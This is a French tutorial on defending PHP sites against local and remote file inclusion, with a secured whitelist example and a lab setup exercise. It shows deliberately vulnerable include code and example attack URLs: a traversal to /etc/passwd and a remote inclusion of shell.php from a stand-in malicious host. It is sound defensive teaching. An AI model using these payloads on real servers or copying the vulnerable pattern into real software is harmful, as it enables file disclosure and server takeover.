Protection contre LFI/RFI
Protection contre les attaques LFI/RFI
Notions théoriques
Les attaques LFI (Local File Inclusion) et RFI (Remote File Inclusion) exploitent des failles dans les applications Web pour inclure des fichiers malveillants.
Les vulnérabilités LFI/RFI sont souvent présentes dans les applications qui permettent aux utilisateurs de spécifier des fichiers à inclure sans validation stricte.
Attaque LFI (Local File Inclusion)
LFI permet à un attaquant d’inclure un fichier local du serveur dans une page Web.
Cela peut permettre :
- L'affichage du contenu de fichiers sensibles (
/etc/passwd,config.php). - L'exécution de code malveillant si le fichier inclus contient du code exécutable.
- L'accès aux logs du serveur pour récupérer des informations utiles aux attaques.
Exemple d'attaque LFI :
Si une application PHP inclut un fichier via une URL comme :
<?php
$page = $_GET['page'];
include("pages/" . $page);
?>
Un attaquant peut accéder à des fichiers sensibles en modifiant l’URL :
http://example.com/index.php?page=../../../../etc/passwd
Attaque RFI (Remote File Inclusion)
RFI est une variante qui permet d’inclure un fichier distant hébergé sur un autre serveur.
Cela peut permettre :
- L'exécution de scripts malveillants hébergés par l’attaquant.
- La prise de contrôle du serveur si le script injecté contient du code permettant une exécution à distance.
Exemple d'attaque RFI :
Si une application PHP inclut un fichier sans restriction :
<?php
$page = $_GET['page'];
include($page);
?>
Un attaquant peut injecter un script distant :
http://example.com/index.php?page=http://malicious-site.com/shell.php
Protection contre LFI/RFI
Mesures de protection :
- Ne jamais inclure directement des fichiers basés sur une entrée utilisateur.
- Utiliser une liste blanche des fichiers autorisés.
- Vérifier l’extension et la présence de caractères suspects (
../,http://). - Désactiver
allow_url_includedansphp.inipour bloquer les inclusions distantes. - Utiliser
realpath()pour s’assurer que le fichier est bien dans le dossier autorisé.
Exemple pratique
Il est possible de sécuriser une application PHP contre LFI/RFI en appliquant plusieurs protections.
1. Code vulnérable
Un script PHP non sécurisé permettant l’inclusion de fichiers :
<?php
$page = $_GET['page'];
include("pages/" . $page);
?>
Ce code est vulnérable à LFI, car un attaquant peut manipuler $_GET['page'] pour inclure des fichiers système.
2. Code sécurisé
Un script PHP sécurisé avec une liste blanche et des vérifications :
<?php
$allowed_pages = ["home.php", "contact.php", "about.php"];
if (isset($_GET['page']) && in_array($_GET['page'], $allowed_pages)) {
include("pages/" . $_GET['page']);
} else {
echo "Page non autorisée.";
}
?>
3. Explication des protections mises en place
- Liste blanche : Seuls les fichiers définis dans
$allowed_pagespeuvent être inclus. - Vérification stricte :
in_array($_GET['page'], $allowed_pages)empêche l’injection de fichiers arbitraires. - Pas d’inclusion directe : L’utilisateur ne peut pas spécifier un chemin personnalisé.
Test de mémorisation/compréhension
TP pour réfléchir et résoudre des problèmes
Sécurisation de l'inclusion de fichiers en PHP
L'objectif est de développer un script PHP sécurisé empêchant les attaques LFI (Local File Inclusion) et RFI (Remote File Inclusion).
L'application doit permettre d'inclure des fichiers PHP en toute sécurité, tout en empêchant l'accès à des fichiers sensibles ou externes.
Étape 1 : Préparation de l'environnement
Avant d’écrire du code, il est essentiel de structurer correctement le projet.
Instructions :
- Créer un dossier de projet pour organiser les fichiers :
mkdir secure-include
cd secure-include
- Créer un fichier principal
index.phpqui servira de point d’entrée :
touch index.php
- Créer un dossier
pages/pour stocker les fichiers à inclure :
mkdir pages
- Créer trois fichiers PHP dans le dossier
pages/:
touch pages/home.php pages/contact.php pages/about.php
- Ajouter du contenu de test dans chaque fichier :
pages/home.php:
<h1>Bienvenue sur la page d'accueil</h1>
pages/contact.php:
<h1>Page de contact</h1>
<p>Contactez-nous à l'adresse contact@example.com</p>
pages/about.php:
<h1>À propos</h1>
<p>Ce site a été créé pour démontrer la sécurisation des inclusions PHP.</p>
Vérifier si :
- Le projet est bien organisé avec un fichier
index.phpet un dossierpages/. - Les fichiers
home.php,contact.phpetabout.phpcontiennent du contenu de test.